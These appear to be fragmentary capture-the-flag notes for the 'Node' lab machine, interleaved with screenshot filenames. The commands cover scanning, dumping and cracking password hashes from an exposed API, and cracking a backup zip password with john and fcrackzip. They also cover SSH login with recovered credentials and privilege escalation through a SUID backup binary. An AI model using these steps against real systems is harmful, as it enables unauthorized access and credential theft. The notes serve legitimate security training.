Node

furious 10.10.10.58

nmap -sC -sV -p22,3000 -Pn -n 10.10.10.58 -oN targeted 203251.png

#3000

dirb http://10.10.10.58:3000 -a "gaogao"

193242.png

80

193521.png ctrl + u

192522.png

in http://10.10.10.58:3000/api/users

[{"_id":"59a7365b98aa325cc03ee51c","username":"myP14ceAdm1nAcc0uNT","password":"dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af","is_admin":true},
{"_id":"59a7368398aa325cc03ee51d","username":"tom","password":"f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240","is_admin":false},
{"_id":"59a7368e98aa325cc03ee51e","username":"mark","password":"de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73","is_admin":false},
{"_id":"59aa9781cced6f1d1490fce9","username":"rastating","password":"5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0","is_admin":false}]

crackstation

https://crackstation.net/

191641.png

myP14ceAdm1nAcc0uNT dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af sha256 manchester tom f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240 sha256 spongebob mark de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73 sha256 snowflake rastating 5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0 Unknown Not found.

on login

http://10.10.10.58:3000/login

190045.png

190946.png

cat myplace.backup| base64 -d > myplace

# one form
zip2john myplace > myplace.john
john --wordlist=/usr/share/wordlists/rockyou.txt myplace.john

# second form
fcrackzip -uDp /usr/share/wordlists/rockyou.txt myplace

# both cases
password magicword

unzip myplace

202849.png

mark: 5AYRft73VtFpc84k

22 ssh

ssh mark@10.10.10.58
ps aux | grep tom

225521.png

cat /var/scheduler/app.js 224245.png

mongodb

223159.png cat /home/tom/user.txt

in our machine we find in /var/www/myplace/app.js

231551.png

find the suid

230554.png

002607.png

005812.png

000225.png

003947.png

7z e backup.zip

# pass = magicword

cat root.txt

004152.png

filtered

002655.png

export HOME=/root
backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 "~"

in our machine

echo "UEsDBAoAAAAAABwWO0sAAAAAAAAAAAAAAAAFABwAcm9vdC9VVAkAA4cDy1nEgI5fdXgLAAEEAAAAAAQAAAAAUEsDBBQACQAIANGDEUd/sK5kgwAAAJQAAAANABwAcm9vdC8ucHJvZmlsZVVUCQADGf7RVa6xYFp1eAsAAQQAAAAABAAAAAC6Djo2QGnvOY63D0yGbk/hPZ8cwh6iVrj4zJO8FTM3OiTuMtt89LdSslshgsmB/k9c7lHCzv+oYr/Kg+wMdq448Al+TK+e3rZiPerQ9DcoRwJdiFtfxH/V8kMjX1PpcdVuHcqTQ0D/k1goELxohFHCJBZwx8q3zQfWGVLdTtJXtqEsjFBLBwh/sK5kgwAAAJQAAABQSwMEFAAJAAgAHBY7S9xSZRxNAAAAVQAAABIAHAByb290Ly5iYXNoX2hpc3RvcnlVVAkAA4cDy1musWBadXgLAAEEAAAAAAQAAAAARajbfW+7WtgqENSNjlfxjfZJKII9XdxRedfR+3nvUqoO4orEHuwrvqBmOKRyP9boqI2Vz0Q8wxvV4ggzQweaRPYkhJdum7/vqCTecoVQSwcI3FJlHE0AAABVAAAAUEsDBAoAAAAAADR8I0sAAAAAAAAAAAAAAAAMABwAcm9vdC8uY2FjaGUvVVQJAAPDEqxZxICOX3V4CwABBAAAAAAEAAAAAFBLAwQKAAkAAAA0fCNLAAAAAAwAAAAAAAAAIAAcAHJvb3QvLmNhY2hlL21vdGQubGVnYWwtZGlzcGxheWVkVVQJAAPDEqxZwxKsWXV4CwABBAAAAAAEAAAAABNjHDJz9KNv3QYQx1BLBwgAAAAADAAAAAAAAABQSwMECgAJAAAA1H0jS/KON0AtAAAAIQAAAA0AHAByb290L3Jvb3QudHh0VVQJAAPQFaxZSgDLWXV4CwABBAAAAAAEAAAAAIVxoL7JTzAuyRR0tpw1lIpiz7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